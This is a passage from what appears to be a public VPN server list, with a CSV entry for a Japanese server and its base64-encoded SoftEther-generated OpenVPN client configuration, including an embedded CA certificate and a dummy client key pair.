VoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn410951036,220.219.199.157,652891,3,760489155,Japan,JP,3,1000,10468,2031384657941,2weeks,A's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMjAuMjE5LjE5OS4xNTcgMTM5NQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hd